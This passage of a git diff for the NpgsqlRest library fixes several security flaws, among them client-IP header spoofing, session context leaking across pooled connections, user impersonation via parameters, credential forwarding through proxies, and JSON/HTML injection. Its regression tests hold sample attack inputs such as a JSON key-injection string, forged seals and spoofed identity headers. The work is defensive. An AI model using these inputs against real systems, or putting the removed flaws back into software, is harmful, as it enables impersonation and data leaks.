per-IP rate limits, faking audit data). + /// Behind a reverse proxy, enable the ASP.NET Core forwarded headers middleware (UseForwardedHeaders, with the + /// proxy listed in KnownProxies/KnownNetworks, or ForwardedHeaders:Enabled in the npgsqlrest client): it replaces + /// RemoteIpAddress with the address the trusted proxy reported. + /// public static string? GetClientIpAddress(this HttpRequest request) { - // Check X-Forwarded-For header - var forwardedIp = request.Headers["X-Forwarded-For"].FirstOrDefault(); - if (!string.IsNullOrEmpty(forwardedIp)) - { - int commaIndex = forwardedIp.IndexOf(','); - return commaIndex > 0 ? forwardedIp[..commaIndex].Trim() : forwardedIp.Trim(); - } - - // Check other headers with null-coalescing operator - var ip = request.Headers["X-Real-IP"].FirstOrDefault() - ?? request.Headers["HTTP_X_FORWARDED_FOR"].FirstOrDefault() - ?? request.Headers["REMOTE_ADDR"].FirstOrDefault(); - - return !string.IsNullOrEmpty(ip) ? ip : request.HttpContext.Connection.RemoteIpAddress?.ToString(); + return request.HttpContext.Connection.RemoteIpAddress?.ToString(); } public static object GetClientIpAddressDbParam(this HttpRequest request) diff --git a/NpgsqlRest/HttpClientType/HttpClientTypeHandler.cs b/NpgsqlRest/HttpClientType/HttpClientTypeHandler.cs index 76e6127b..bc4d9cfd 100644 --- a/NpgsqlRest/HttpClientType/HttpClientTypeHandler.cs +++ b/NpgsqlRest/HttpClientType/HttpClientTypeHandler.cs @@ -8,7 +8,9 @@ namespace NpgsqlRest.HttpClientType; public class HttpClientTypeHandler(HttpTypeDefinition definition, Dictionary.AlternateLookup>? replacements = null) { - private static readonly HttpClient SharedClient = new() + // UseCookies = false: the client is shared by all users. With the default cookie container, a cookie that an + // upstream sets for one user's request was stored and sent with every later request - for every user. + private static readonly HttpClient SharedClient = new(new SocketsHttpHandler { UseCookies = false }) { Timeout = Timeout.InfiniteTimeSpan // We handle timeout per-request }; diff --git a/NpgsqlRest/NpgsqlRestBuilder.cs b/NpgsqlRest/NpgsqlRestBuilder.cs index 89aed543..57c02d29 100644 --- a/NpgsqlRest/NpgsqlRestBuilder.cs +++ b/NpgsqlRest/NpgsqlRestBuilder.cs @@ -161,11 +161,59 @@ public static IApplicationBuilder UseNpgsqlRest(this WebApplication builder, Npg } } + WarnIfRequestContextCanOutliveRequest(entries); + // Register internal handlers for self-referencing calls (bypass HTTP) InternalRequestHandler.SetEndpointHandlers(internalHandlers); return builder; } + + /// + /// user_context / request_headers context values are session-level settings (set_config(..., false)) unless the + /// request runs in a transaction. With "No Reset On Close" the pooled connection keeps them, so the next request + /// on that connection - including endpoints that never set a context - can read the previous caller's identity. + /// + private static void WarnIfRequestContextCanOutliveRequest(List entries) + { + if (Options.WrapInTransaction) + { + return; + } + var usesContext = false; + foreach (var entry in entries) + { + if (entry.Endpoint.UserContext || entry.Endpoint.RequestHeadersMode == RequestHeadersMode.Context) + { + usesContext = true; + break; + } + } + if (usesContext is false) + { + return; + } + var connectionString = Options.DataSource?.ConnectionString ?? Options.ConnectionString; + if (connectionString is null) + { + return; + } + try + { + if (new NpgsqlConnectionStringBuilder(connectionString).NoResetOnClose) + { + Logger?.LogWarning( + "The connection string sets \"No Reset On Close\" and endpoints use user_context or request_headers context. " + + "Context values are session settings that stay on the pooled connection, so the next request using that connection " + + "can read the previous caller's values (for example request.user_id in an RLS policy). Remove \"No Reset On Close\" " + + "or enable WrapInTransaction."); + } + } + catch (ArgumentException) + { + // unparsable connection string - connection errors are reported elsewhere + } + } private const int MaxPathLength = 2048; diff --git a/NpgsqlRest/NpgsqlRestEndpoint.Helpers.cs b/NpgsqlRest/NpgsqlRestEndpoint.Helpers.cs index 6ba3d019..ccb0c026 100644 --- a/NpgsqlRest/NpgsqlRestEndpoint.Helpers.cs +++ b/NpgsqlRest/NpgsqlRestEndpoint.Helpers.cs @@ -130,7 +130,7 @@ private async ValueTask PrepareCommand( if (endpoint.CommandTimeout.HasValue) { - command.CommandTimeout = endpoint.CommandTimeout.Value.Seconds; + command.CommandTimeout = ToCommandTimeoutSeconds(endpoint.CommandTimeout.Value); } if (Options.CommandCallbackAsync is not null) @@ -171,6 +171,65 @@ private async ValueTask OpenConnectionAsync(NpgsqlConnection connection, HttpCon } } + /// + /// Converts a timeout to Npgsql's CommandTimeout (whole seconds, 0 = no timeout). Rounds up, so sub-second + /// timeouts don't become 0 (= unlimited). It used TimeSpan.Seconds - the seconds *component* - which turned + /// "1 minute" into 0, i.e. no timeout at all, and "90 seconds" into 30. + /// + internal static int ToCommandTimeoutSeconds(TimeSpan timeout) + { + if (timeout <= TimeSpan.Zero) + { + return 0; + } + var seconds = Math.Ceiling(timeout.TotalSeconds); + return seconds >= int.MaxValue ? int.MaxValue : (int)seconds; + } + + /// + /// Drops request-supplied values for claim-bound user parameters (claim-mapped and the user-claims JSON parameter) + /// from the query string and the JSON body. Used for anonymous callers of user_params endpoints, so the request + /// cannot impersonate a user; the routine then sees the parameter as not provided. Allocates only when a request + /// actually supplies such a parameter in the query string. + /// + private static void RemoveClientSuppliedUserParameters( + Routine routine, + ref IQueryCollection? queryCollection, + Dictionary? bodyDict) + { + Dictionary? filteredQuery = null; + foreach (var parameter in routine.Parameters) + { + if (parameter.IsFromUserClaims is false) + { + continue; + } + if (queryCollection is not null && + (queryCollection.ContainsKey(parameter.ConvertedName) || queryCollection.ContainsKey(parameter.ActualName))) + { + if (filteredQuery is null) + { + filteredQuery = new(queryCollection.Count, StringComparer.OrdinalIgnoreCase); + foreach (var kv in queryCollection) + { + filteredQuery[kv.Key] = kv.Value; + } + } + filteredQuery.Remove(parameter.ConvertedName); + filteredQuery.Remove(parameter.ActualName); + } + if (bodyDict is not null) + { + bodyDict.Remove(parameter.ConvertedName); + bodyDict.Remove(parameter.ActualName); + } + } + if (filteredQuery is not null) + { + queryCollection = new Microsoft.AspNetCore.Http.QueryCollection(filteredQuery); + } + } + private static void SearializeHeader(NpgsqlRestOptions options, HttpContext context, ref string? headers) { if (Options.CustomRequestHeaders.Count > 0) diff --git a/NpgsqlRest/NpgsqlRestEndpoint.cs b/NpgsqlRest/NpgsqlRestEndpoint.cs index ce6a420a..f94a83d0 100644 --- a/NpgsqlRest/NpgsqlRestEndpoint.cs +++ b/NpgsqlRest/NpgsqlRestEndpoint.cs @@ -318,6 +318,15 @@ public async Task InvokeAsync(HttpContext context, IServiceProvider serviceProvi } } + // Claim-bound user parameters (user_params) are filled by the server: for signed-in callers the claim + // always wins (see the parameter loops). Anonymous callers must not be able to supply them either - + // otherwise ?userId=1 would impersonate user 1 on an endpoint that allows anonymous access. Their + // request values are dropped, so the routine sees "not provided" (its default, else NULL). + if (endpoint.UseUserParameters && context.User?.Identity?.IsAuthenticated is not true) + { + RemoveClientSuppliedUserParameters(routine, ref queryCollection, bodyDict); + } + // start query string parameters if (endpoint.RequestParamType == RequestParamType.QueryString) { @@ -1919,22 +1928,24 @@ Options.AuthenticationOptions.IpAddressContextKey is not null cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(context.Request.GetClientIpAddressDbParam())); batch.BatchCommands.Add(cmd); } - if (context.User?.Identity?.IsAuthenticated is true && Options.AuthenticationOptions.ClaimsJsonContextKey is not null) + // Every claim context key is set on every user_context request - for anonymous requests to + // NULL. Session-level settings (no transaction) survive on a pooled connection when the + // connection is not reset on close (NoResetOnClose), so skipping them for anonymous requests + // would let an anonymous request run with the previous request's user identity. + var isAuthenticated = context.User?.Identity?.IsAuthenticated is true; + if (Options.AuthenticationOptions.ClaimsJsonContextKey is not null) { var cmd = new NpgsqlBatchCommand(setContextSql); cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(Options.AuthenticationOptions.ClaimsJsonContextKey)); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(claimsDict?.GetUserClaimsDbParam() ?? DBNull.Value)); + cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(isAuthenticated ? claimsDict?.GetUserClaimsDbParam() ?? DBNull.Value : DBNull.Value)); batch.BatchCommands.Add(cmd); } - if (context.User?.Identity?.IsAuthenticated is true) + foreach (var mapping in Options.AuthenticationOptions.ContextKeyClaimsMapping) { - foreach (var mapping in Options.AuthenticationOptions.ContextKeyClaimsMapping) - { - var cmd = new NpgsqlBatchCommand(setContextSql); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(mapping.Key)); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(claimsDict!.GetClaimDbContextParam(mapping.Value))); - batch.BatchCommands.Add(cmd); - } + var cmd = new NpgsqlBatchCommand(setContextSql); + cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(mapping.Key)); + cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(isAuthenticated ? claimsDict!.GetClaimDbContextParam(mapping.Value) : DBNull.Value)); + batch.BatchCommands.Add(cmd); } } @@ -2105,7 +2116,7 @@ await LoginHandler.HandleAsync( await using var mcCmd = new NpgsqlCommand(currentCmd.Statement, connection); if (endpoint.CommandTimeout.HasValue) { - mcCmd.CommandTimeout = endpoint.CommandTimeout.Value.Seconds; + mcCmd.CommandTimeout = ToCommandTimeoutSeconds(endpoint.CommandTimeout.Value); } for (int pi = 0; pi < Math.Min(currentCmd.ParamCount, command.Parameters.Count); pi++) { @@ -2139,7 +2150,7 @@ await mcCmd.ExecuteNonQueryWithRetryAsync( await using var mcCmd = new NpgsqlCommand(currentCmd.Statement, connection); if (endpoint.CommandTimeout.HasValue) { - mcCmd.CommandTimeout = endpoint.CommandTimeout.Value.Seconds; + mcCmd.CommandTimeout = ToCommandTimeoutSeconds(endpoint.CommandTimeout.Value); } // Bind parameters that this statement uses for (int pi = 0; pi < Math.Min(currentCmd.ParamCount, command.Parameters.Count); pi++) diff --git a/NpgsqlRest/NpgsqlRestSseEventSource.cs b/NpgsqlRest/NpgsqlRestSseEventSource.cs index 6a5c8bbb..b914f9f2 100644 --- a/NpgsqlRest/NpgsqlRestSseEventSource.cs +++ b/NpgsqlRest/NpgsqlRestSseEventSource.cs @@ -96,15 +96,20 @@ public async Task InvokeAsync(HttpContext context) scope = parsedScope; if (scope == SseEventsScope.Authorize && words.Length > 1) { - // if info roles already exist, merge them with the new ones - infoEventsRoles ??= new HashSet(StringComparer.OrdinalIgnoreCase); + // Merge the hint roles into a per-event COPY. (They used to be added to the endpoint's + // shared SseEventsRoles set: hint roles accumulated permanently, so later events reached + // recipients meant only for earlier ones, and the set was mutated concurrently.) + var merged = infoEventsRoles is null + ? new HashSet(StringComparer.OrdinalIgnoreCase) + : new HashSet(infoEventsRoles, StringComparer.OrdinalIgnoreCase); foreach (var word in words[1..]) { - if (infoEventsRoles.Contains(word) is false && string.IsNullOrWhiteSpace(word) is false) + if (string.IsNullOrWhiteSpace(word) is false) { - infoEventsRoles.Add(word); + merged.Add(word); } } + infoEventsRoles = merged; } } else @@ -125,27 +130,10 @@ public async Task InvokeAsync(HttpContext context) continue; // Skip events for unauthorized users } - if (endpoint?.AuthorizeRoles is not null) + if (endpoint?.AuthorizeRoles is not null && + RoutineEndpoint.MatchesAuthorizeList(endpoint.AuthorizeRoles, context.User, Options.AuthenticationOptions) is false) { - bool ok = false; - foreach (var claim in context.User?.Claims ?? []) - { - if ( - string.Equals(claim.Type, Options.AuthenticationOptions.DefaultUserIdClaimType, StringComparison.Ordinal) || - string.Equals(claim.Type, Options.AuthenticationOptions.DefaultNameClaimType, StringComparison.Ordinal) || - string.Equals(claim.Type, Options.AuthenticationOptions.DefaultRoleClaimType, StringComparison.Ordinal)) - { - if (endpoint?.AuthorizeRoles.Contains(claim.Value) is true) - { - ok = true; - break; - } - } - } - if (ok is false) - { - continue; - } + continue; } } else if (scope == SseEventsScope.Authorize) @@ -155,31 +143,10 @@ public async Task InvokeAsync(HttpContext context) continue; // Skip events for unauthorized users } - if (infoEventsRoles is not null) + if (infoEventsRoles is not null && + RoutineEndpoint.MatchesAuthorizeList(infoEventsRoles, context.User, Options.AuthenticationOptions) is false) { - bool ok = false; - if (context.User?.Claims is not null) - { - foreach (var claim in context.User?.Claims!) - { - if ( - string.Equals(claim.Type, Options.AuthenticationOptions.DefaultUserIdClaimType, StringComparison.Ordinal) || - string.Equals(claim.Type, Options.AuthenticationOptions.DefaultNameClaimType, StringComparison.Ordinal) || - string.Equals(claim.Type, Options.AuthenticationOptions.DefaultRoleClaimType, StringComparison.Ordinal) - ) - { - if (infoEventsRoles.Contains(claim.Value) is true) - { - ok = true; - break; - } - } - } - } - if (ok is false) - { - continue; - } + continue; } } diff --git a/NpgsqlRest/Options/NpgsqlRestOptions.cs b/NpgsqlRest/Options/NpgsqlRestOptions.cs index 31fb6299..5909b857 100644 --- a/NpgsqlRest/Options/NpgsqlRestOptions.cs +++ b/NpgsqlRest/Options/NpgsqlRestOptions.cs @@ -275,7 +275,8 @@ public NpgsqlRestOptions(NpgsqlDataSource dataSource) /// **Required for connection poolers in transaction mode** (PgBouncer transaction-pool, AWS RDS Proxy in transaction /// mode, Supabase Pooler) — without this, the backend can be reused across unrelated requests, allowing GUC state /// (and the routine call itself) to leak or split mid-request. Default is false to preserve existing behavior; - /// safe to leave off when using Npgsql's native pool only. + /// safe to leave off with Npgsql's native pool as long as connections are reset when returned to the pool + /// (the default; i.e. the connection string does not set "No Reset On Close"). /// public bool WrapInTransaction { get; set; } = false; diff --git a/NpgsqlRest/Options/ProxyOptions.cs b/NpgsqlRest/Options/ProxyOptions.cs index df6c6492..907d9574 100644 --- a/NpgsqlRest/Options/ProxyOptions.cs +++ b/NpgsqlRest/Options/ProxyOptions.cs @@ -32,13 +32,18 @@ public class ProxyOptions /// /// Headers to exclude from forwarding to the proxy target. - /// Default excludes Host, Content-Length, and Transfer-Encoding. + /// Default excludes Host, Content-Length, Transfer-Encoding and the caller's credentials (Cookie, Authorization, + /// Proxy-Authorization), so a user's session cookie or bearer token is not sent to the upstream host - which may be + /// a third party. Remove Authorization from this list to forward bearer tokens to a trusted internal service. /// public HashSet ExcludeHeaders { get; set; } = new(StringComparer.OrdinalIgnoreCase) { "Host", "Content-Length", - "Transfer-Encoding" + "Transfer-Encoding", + "Cookie", + "Authorization", + "Proxy-Authorization" }; /// @@ -53,7 +58,8 @@ public class ProxyOptions public HashSet ExcludeResponseHeaders { get; set; } = new(StringComparer.OrdinalIgnoreCase) { "Transfer-Encoding", - "Content-Length" + "Content-Length", + "Set-Cookie" }; /// diff --git a/NpgsqlRest/PgConverters.cs b/NpgsqlRest/PgConverters.cs index 198acd8f..a0ab04a3 100644 --- a/NpgsqlRest/PgConverters.cs +++ b/NpgsqlRest/PgConverters.cs @@ -36,6 +36,25 @@ public static class PgConverters Justification = "Serializes only string type that have AOT friendly TypeInfoResolver")] public static string SerializeString(string value) => JsonSerializer.Serialize(value, PlainTextSerializerOptions); + // Escapes HTML-sensitive characters (< > & ' " +) as \uXXXX while keeping other Unicode text as-is: the result is + // a valid JSON/JavaScript string literal that is also safe inside an HTML ")); + + Parse(parser, "", ctx) + .Should().Be(""); + } + + [Fact] + public void ClaimValue_NonAsciiTextIsKept_HtmlSensitiveCharactersEscaped() + { + var parser = Parser(claims: new() { ["user_name"] = null }); + var ctx = WithClaims(("user_name", "José & O'Brien \"Ž\"")); + + Parse(parser, "{user_name}", ctx).Should().Be("\"José \\u0026 O\\u0027Brien \\u0022Ž\\u0022\""); + } + [Fact] public void EmptyAvailableEnvVars_PassesContentThrough() { @@ -92,8 +113,8 @@ public void EnvVarValueWithQuotes_IsJsonEscaped() try { var parser = Parser(envVars: new() { [name] = null }); - // " -> \" and \ -> \\ , so it stays a single well-formed JS string literal - Parse(parser, $"v: {{{name}}};", Anonymous()).Should().Be("v: \"a\\\"b\\\\c\";"); + // " -> " (HTML-safe form of \") and \ -> \\ , so it stays a single well-formed JS string literal + Parse(parser, $"v: {{{name}}};", Anonymous()).Should().Be("v: \"a\\u0022b\\\\c\";"); } finally { diff --git a/NpgsqlRestTests/Fido2/PasskeyUserContextTests.cs b/NpgsqlRestTests/Fido2/PasskeyUserContextTests.cs new file mode 100644 index 00000000..1492b3f0 --- /dev/null +++ b/NpgsqlRestTests/Fido2/PasskeyUserContextTests.cs @@ -0,0 +1,122 @@ +using System.Security.Claims; +using System.Text.Json; +using System.Text.Json.Nodes; +using Microsoft.AspNetCore.DataProtection; +using Microsoft.AspNetCore.Http; +using Microsoft.Extensions.DependencyInjection; +using NpgsqlRest.Auth; +using NpgsqlRestClient.Fido2; + +namespace NpgsqlRestTests.Fido2; + +/// +/// Security regression: the passkey userContext round trip (options endpoint -> browser -> completion endpoint) +/// must not let a client change the context, e.g. replace the user id to attach its own passkey to another account. +/// +public class PasskeyUserContextTests +{ + private static readonly IServiceProvider Services = new ServiceCollection().AddDataProtection().Services.BuildServiceProvider(); + private static readonly NpgsqlRestAuthenticationOptions AuthOptions = new(); + + private static HttpContext Context(string? userId) + { + var context = new DefaultHttpContext { RequestServices = Services }; + if (userId is not null) + { + context.User = new ClaimsPrincipal(new ClaimsIdentity( + [new Claim(AuthOptions.DefaultUserIdClaimType, userId)], "test")); + } + return context; + } + + // What the options endpoint sends to the browser as "userContext" + private static string Issue(HttpContext context, string dbUserContext, string challengeId) + { + using var buffer = new MemoryStream(); + using (var writer = new Utf8JsonWriter(buffer)) + { + writer.WriteStartObject(); + PasskeyUserContext.Write(writer, context, dbUserContext, "aGFuZGxl", challengeId, + PasskeyUserContext.GetBoundUserId(context, AuthOptions)); + writer.WriteEndObject(); + } + return JsonNode.Parse(buffer.ToArray())!["userContext"]!.ToJsonString(); + } + + [Fact] + public void Untouched_user_context_round_trips_to_the_issued_copy() + { + var context = Context("42"); + var returned = Issue(context, "{\"id\":42,\"deviceName\":\"laptop\"}", "1001"); + + var issued = PasskeyUserContext.Open(context, returned, "1001", PasskeyUserContext.GetBoundUserId(context, AuthOptions)); + + issued.Should().Be("{\"id\":42,\"deviceName\":\"laptop\",\"userHandle\":\"aGFuZGxl\"}"); + } + + [Fact] + public void Edited_user_id_is_ignored_and_the_issued_copy_is_used() + { + var context = Context("42"); + var returned = JsonNode.Parse(Issue(context, "{\"id\":42,\"deviceName\":\"laptop\"}", "1001"))!; + returned["id"] = 1; // attacker tries to attach the passkey to user 1 + + var issued = PasskeyUserContext.Open(context, returned.ToJsonString(), "1001", PasskeyUserContext.GetBoundUserId(context, AuthOptions)); + + issued.Should().Be("{\"id\":42,\"deviceName\":\"laptop\",\"userHandle\":\"aGFuZGxl\"}"); + } + + [Fact] + public void Context_issued_for_another_challenge_is_rejected() + { + var context = Context("42"); + var returned = Issue(context, "{\"id\":42}", "1001"); + + PasskeyUserContext.Open(context, returned, "1002", PasskeyUserContext.GetBoundUserId(context, AuthOptions)).Should().BeNull(); + } + + [Fact] + public void Context_issued_to_another_user_is_rejected() + { + var victim = Context("1"); + var returned = Issue(victim, "{\"id\":1}", "1001"); // a context sealed for user 1 ... + + var attacker = Context("42"); // ... completed by user 42 + PasskeyUserContext.Open(attacker, returned, "1001", PasskeyUserContext.GetBoundUserId(attacker, AuthOptions)).Should().BeNull(); + } + + [Fact] + public void Context_without_seal_is_rejected() + { + var context = Context("42"); + PasskeyUserContext.Open(context, "{\"id\":1,\"userHandle\":\"aGFuZGxl\"}", "1001", "42").Should().BeNull(); + } + + [Fact] + public void Context_with_forged_seal_is_rejected() + { + var context = Context("42"); + PasskeyUserContext.Open(context, "{\"id\":1,\"_protected\":\"Q2ZESjhBQUFBQUFBQUFBQUFB\"}", "1001", "42").Should().BeNull(); + PasskeyUserContext.Open(context, "{\"id\":1,\"_protected\":12}", "1001", "42").Should().BeNull(); + PasskeyUserContext.Open(context, "not json", "1001", "42").Should().BeNull(); + } + + [Fact] + public void Registration_context_is_bound_to_the_challenge_only() + { + var anonymous = Context(null); + using var buffer = new MemoryStream(); + using (var writer = new Utf8JsonWriter(buffer)) + { + writer.WriteStartObject(); + PasskeyUserContext.Write(writer, anonymous, "{\"email\":\"a@b.c\"}", "aGFuZGxl", "7", boundUserId: null); + writer.WriteEndObject(); + } + var returned = JsonNode.Parse(buffer.ToArray())!["userContext"]!; + returned["email"] = "admin@b.c"; + + PasskeyUserContext.Open(anonymous, returned.ToJsonString(), "7", boundUserId: null) + .Should().Be("{\"email\":\"a@b.c\",\"userHandle\":\"aGFuZGxl\"}"); + PasskeyUserContext.Open(anonymous, returned.ToJsonString(), "8", boundUserId: null).Should().BeNull(); + } +} diff --git a/NpgsqlRestTests/ParserTests/PgConvertersTests.cs b/NpgsqlRestTests/ParserTests/PgConvertersTests.cs index 311bcf63..10fe2c99 100644 --- a/NpgsqlRestTests/ParserTests/PgConvertersTests.cs +++ b/NpgsqlRestTests/ParserTests/PgConvertersTests.cs @@ -476,16 +476,39 @@ public void PgUnknownToJsonArray_EscapedQuotes_HandlesCorrectly() } [Fact] - public void PgUnknownToJsonArray_InvalidInput_ReturnsOriginal() + public void PgUnknownToJsonArray_NonRecordInput_ReturnsJsonString() { - // Arrange - not starting with parenthesis + // Arrange - not a record (enum / domain text): written as an escaped JSON string, never raw ReadOnlySpan input = "a,b,c"; // Act var result = PgConverters.PgUnknownToJsonArray(ref input); // Assert - result.ToString().Should().Be("a,b,c"); + result.ToString().Should().Be("\"a,b,c\""); + } + + [Fact] + public void PgUnknownToJsonArray_NonRecordInputWithQuotes_IsEscaped() + { + // Arrange - a domain-over-text value trying to inject JSON keys + ReadOnlySpan input = "x\",\"isAdmin\":true,\"y\":\"z"; + + // Act + var result = PgConverters.PgUnknownToJsonArray(ref input); + + // Assert + result.ToString().Should().Be("\"x\\\",\\\"isAdmin\\\":true,\\\"y\\\":\\\"z\""); + } + + [Fact] + public void PgUnknownToJsonArray_EmptyInput_ReturnsEmptyJsonString() + { + ReadOnlySpan input = ""; + + var result = PgConverters.PgUnknownToJsonArray(ref input); + + result.ToString().Should().Be("\"\""); } [Fact] diff --git a/NpgsqlRestTests/ProxyTests/ProxyForwardingSecurityTests.cs b/NpgsqlRestTests/ProxyTests/ProxyForwardingSecurityTests.cs new file mode 100644 index 00000000..d40f7560 --- /dev/null +++ b/NpgsqlRestTests/ProxyTests/ProxyForwardingSecurityTests.cs @@ -0,0 +1,149 @@ +using WireMock.Server; +using WireMock.RequestBuilders; +using WireMock.ResponseBuilders; + +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void ProxyForwardingSecurityTests() + { + script.Append(@" +create function proxy_sec_user_params( + _user_id text default null, + _proxy_status_code int default null, + _proxy_body text default null +) +returns json +language sql +as $$ select json_build_object('proxy_status', _proxy_status_code) $$; +comment on function proxy_sec_user_params(text, int, text) is 'HTTP GET +user_params +proxy'; + +create function proxy_sec_user_context( + _proxy_status_code int default null, + _proxy_body text default null +) +returns json +language sql +as $$ select json_build_object('proxy_status', _proxy_status_code) $$; +comment on function proxy_sec_user_context(int, text) is 'HTTP GET +user_context +proxy'; + +create function proxy_sec_passthrough() +returns void +language plpgsql +as $$ begin raise exception 'not called'; end; $$; +comment on function proxy_sec_passthrough() is 'HTTP GET +proxy'; + "); + } +} + +/// +/// Security regressions for proxy forwarding: +/// - server-filled values (user parameters, user context headers) must replace client-supplied ones, never be +/// appended after them, and clients must not be able to supply them at all when anonymous; +/// - the caller's credentials (Cookie, Authorization) are not forwarded to the upstream by default, and the +/// upstream cannot set cookies (Set-Cookie) on this application's origin by default. +/// Login uses proxy_with_user_params_login (ProxyWithUserParamsTest): name_identifier 999, name proxyuser. +/// +[Collection("TestFixture")] +public class ProxyForwardingSecurityTests : IClassFixture +{ + private readonly TestFixture _test; + private readonly WireMockServer _server; + + public ProxyForwardingSecurityTests(TestFixture test, ProxyWireMockFixture wireMock) + { + _test = test; + _server = wireMock.Server; + _server.Reset(); + _server + .Given(Request.Create().UsingGet()) + .RespondWith(Response.Create().WithStatusCode(200).WithBody("ok").WithHeader("Set-Cookie", "upstream=evil; Path=/")); + } + + private WireMock.Logging.ILogEntry? LastRequest(string path) => + _server.LogEntries.LastOrDefault(r => r.RequestMessage.Path == path); + + [Fact] + public async Task Authenticated_user_parameter_is_forwarded_once_with_the_server_value() + { + using var client = _test.Application.CreateClient(); + using var login = await client.PostAsync("/api/proxy-with-user-params-login/", null); + login.StatusCode.Should().Be(HttpStatusCode.OK); + + using var response = await client.GetAsync("/api/proxy-sec-user-params/?userId=1"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + + var upstream = LastRequest("/api/proxy-sec-user-params/"); + upstream.Should().NotBeNull(); + upstream!.RequestMessage.Query!["userId"].Should().BeEquivalentTo(["999"]); + } + + [Fact] + public async Task Anonymous_client_cannot_supply_a_user_parameter_to_the_upstream() + { + using var response = await _test.Client.GetAsync("/api/proxy-sec-user-params/?userId=1"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + + var upstream = LastRequest("/api/proxy-sec-user-params/"); + upstream.Should().NotBeNull(); + (upstream!.RequestMessage.Query?.ContainsKey("userId") ?? false).Should().BeFalse(); + } + + [Fact] + public async Task Anonymous_client_cannot_supply_a_user_context_header_to_the_upstream() + { + using var request = new HttpRequestMessage(HttpMethod.Get, "/api/proxy-sec-user-context/"); + request.Headers.TryAddWithoutValidation("request.user_id", "1"); + request.Headers.TryAddWithoutValidation("request.user_roles", "{admin}"); + using var response = await _test.Client.SendAsync(request); + response.StatusCode.Should().Be(HttpStatusCode.OK); + + var upstream = LastRequest("/api/proxy-sec-user-context/"); + upstream.Should().NotBeNull(); + upstream!.RequestMessage.Headers!.ContainsKey("request.user_id").Should().BeFalse(); + upstream.RequestMessage.Headers.ContainsKey("request.user_roles").Should().BeFalse(); + } + + [Fact] + public async Task Authenticated_user_context_header_is_the_server_value_only() + { + using var client = _test.Application.CreateClient(); + using var login = await client.PostAsync("/api/proxy-with-user-params-login/", null); + login.StatusCode.Should().Be(HttpStatusCode.OK); + + using var request = new HttpRequestMessage(HttpMethod.Get, "/api/proxy-sec-user-context/"); + request.Headers.TryAddWithoutValidation("request.user_id", "1"); + using var response = await client.SendAsync(request); + response.StatusCode.Should().Be(HttpStatusCode.OK); + + var upstream = LastRequest("/api/proxy-sec-user-context/"); + upstream.Should().NotBeNull(); + upstream!.RequestMessage.Headers!["request.user_id"].Should().BeEquivalentTo(["999"]); + } + + [Fact] + public async Task Credentials_are_not_forwarded_and_upstream_cookies_are_not_returned_by_default() + { + using var request = new HttpRequestMessage(HttpMethod.Get, "/api/proxy-sec-passthrough/"); + request.Headers.TryAddWithoutValidation("Authorization", "Bearer secret-token"); + request.Headers.TryAddWithoutValidation("Cookie", "session=secret-session"); + request.Headers.TryAddWithoutValidation("X-Custom", "forwarded"); + using var response = await _test.Client.SendAsync(request); + + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("ok"); + response.Headers.Contains("Set-Cookie").Should().BeFalse(); + + var upstream = LastRequest("/api/proxy-sec-passthrough/"); + upstream.Should().NotBeNull(); + upstream!.RequestMessage.Headers!.ContainsKey("Authorization").Should().BeFalse(); + upstream.RequestMessage.Headers.ContainsKey("Cookie").Should().BeFalse(); + upstream.RequestMessage.Headers["X-Custom"].Should().BeEquivalentTo(["forwarded"]); + } +} diff --git a/NpgsqlRestTests/RawContentTests/LargeValueQuotingTests.cs b/NpgsqlRestTests/RawContentTests/LargeValueQuotingTests.cs new file mode 100644 index 00000000..ae747ceb --- /dev/null +++ b/NpgsqlRestTests/RawContentTests/LargeValueQuotingTests.cs @@ -0,0 +1,69 @@ +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void LargeValueQuotingTests() + { + script.Append( + """ + create function large_value_csv(_len int) + returns table(t text) + language sql + stable + as + $$ + select repeat('x', _len) + $$; + comment on function large_value_csv(int) is ' + raw + separator , + new_line \n + Content-Type: text/csv + '; + + create function large_value_varbit_json(_len int) + returns table(b varbit) + language sql + stable + as + $$ + select repeat('1', _len)::varbit + $$; + """); + } +} + +/// +/// Security regression: quoting a value whose length comes from data must not use an unbounded stack buffer. +/// A multi-megabyte stored value used to overflow the thread stack (stackalloc of value length), which +/// terminates the whole server process - it cannot be caught. +/// +[Collection("TestFixture")] +public class LargeValueQuotingTests(TestFixture test) +{ + private const int Length = 3_000_000; + + [Fact] + public async Task Large_text_value_in_csv_output_does_not_crash() + { + using var client = test.Application.CreateClient(); + client.Timeout = TimeSpan.FromHours(1); + + using var response = await client.GetAsync($"/api/large-value-csv/?len={Length}"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + var content = await response.Content.ReadAsStringAsync(); + content.Should().Be(string.Concat("\"", new string('x', Length), "\"")); + } + + [Fact] + public async Task Large_varbit_value_in_json_output_does_not_crash() + { + using var client = test.Application.CreateClient(); + client.Timeout = TimeSpan.FromHours(1); + + using var response = await client.GetAsync($"/api/large-value-varbit-json/?len={Length}"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + var content = await response.Content.ReadAsStringAsync(); + content.Should().Be(string.Concat("[{\"b\":\"", new string('1', Length), "\"}]")); + } +} diff --git a/NpgsqlRestTests/ReturnTests/EnumAndDomainReturnTests.cs b/NpgsqlRestTests/ReturnTests/EnumAndDomainReturnTests.cs new file mode 100644 index 00000000..98ca8a2c --- /dev/null +++ b/NpgsqlRestTests/ReturnTests/EnumAndDomainReturnTests.cs @@ -0,0 +1,42 @@ +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void EnumAndDomainReturnTests() + { + script.Append( + """ + create type enum_domain_mood as enum ('happy', 'sad'); + create domain enum_domain_text as text; + + create function get_enum_domain_values() + returns table(mood enum_domain_mood, label enum_domain_text, empty_label enum_domain_text) + language sql + as + $$ + select 'happy'::enum_domain_mood, '"x","isAdmin":true,"y":"z'::enum_domain_text, ''::enum_domain_text + $$; + """); + } +} + +/// +/// Regression: enum and domain columns (types without a specific mapping) must be written as escaped JSON strings. +/// They used to be written 